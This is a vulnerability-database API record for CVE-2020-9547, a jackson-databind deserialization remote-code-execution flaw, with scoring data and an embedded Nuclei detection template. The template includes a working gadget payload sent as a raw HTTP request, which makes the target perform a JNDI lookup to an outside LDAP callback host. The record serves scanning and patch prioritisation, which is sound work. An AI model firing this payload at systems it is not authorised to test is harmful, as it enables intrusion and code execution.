{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2020-9547/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2020-9547/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2020-9547/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2020-9547/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2020-9547/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2020-9547"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2020-9547"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.18383,
      "kev": false,
      "percentile": 0.97138
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2020/CVE-2020-9547.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2020-9547\n\ninfo:\n  name: FasterXML jackson-databind - Deserialization Remote Code Execution\n  author: pranjalnegi\n  severity: critical\n  description: |\n    FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig (aka ibatis-sqlmap). This vulnerability allows attackers to execute arbitrary code through deserialization of untrusted data when polymorphic type handling (@JsonTypeInfo with use=JsonTypeInfo.Id.CLASS) is enabled.\n  impact: |\n    Successful exploitation could allow an attacker to execute arbitrary code on the affected system through deserialization of malicious JSON payloads.\n  remediation: |\n    Update FasterXML jackson-databind to version 2.9.10.4 or later. Alternatively, disable polymorphic type handling or implement proper input validation and deserialization controls.\n  reference:\n    - https://github.com/fairyming/CVE-2020-9547\n    - https://github.com/FasterXML/jackson-databind/issues/2620\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-9547\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2020-9547\n    cwe-id: CWE-502\n    epss-score: 0.18383\n    epss-percentile: 0.97138\n    cpe: cpe:2.3:a:fasterxml:jackson-databind:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: fasterxml\n    product: jackson-databind\n    verified: true\n  tags: cve,cve2020,jackson,databind,deserialization,rce,vkev,vuln\n\nvariables:\n  randstr: \"{{rand_text_alphanumeric(8)}}\"\n  payload_jndi_ldap: \"ldap://{{interactsh-url}}/{{randstr}}\"\n\nhttp:\n  - raw:\n      - |\n        POST / HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        [\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",{\"properties\":[\"java.util.Properties\",{\"UserTransaction\":\"{{payload_jndi_ldap}}\"}]}]\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - \"contains(interactsh_protocol, 'dns')\"\n          - \"contains_any(content_type, 'application/json', 'text/plain')\"\n          - \"status_code == 200 || status_code == 400 || status_code == 500\"\n        condition: and\n\n      - type: word\n        part: body\n        words:\n          - \"JsonMappingException\"\n          - \"InvalidTypeIdException\"\n          - \"JdbcRowSetImpl\"\n          - \"com.fasterxml.jackson.databind\"\n          - \"javax.naming.NamingException\"\n        condition: or\n# digest: 490a0046304402200989118167d61d368e6ad310a7b143252ae6275d1d9843d25519b0ae0da0c5bf02201dbebd75415318708d839708bdb506f9cd927485ea915d0c35954a2f52a9a514:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2020-9547"
}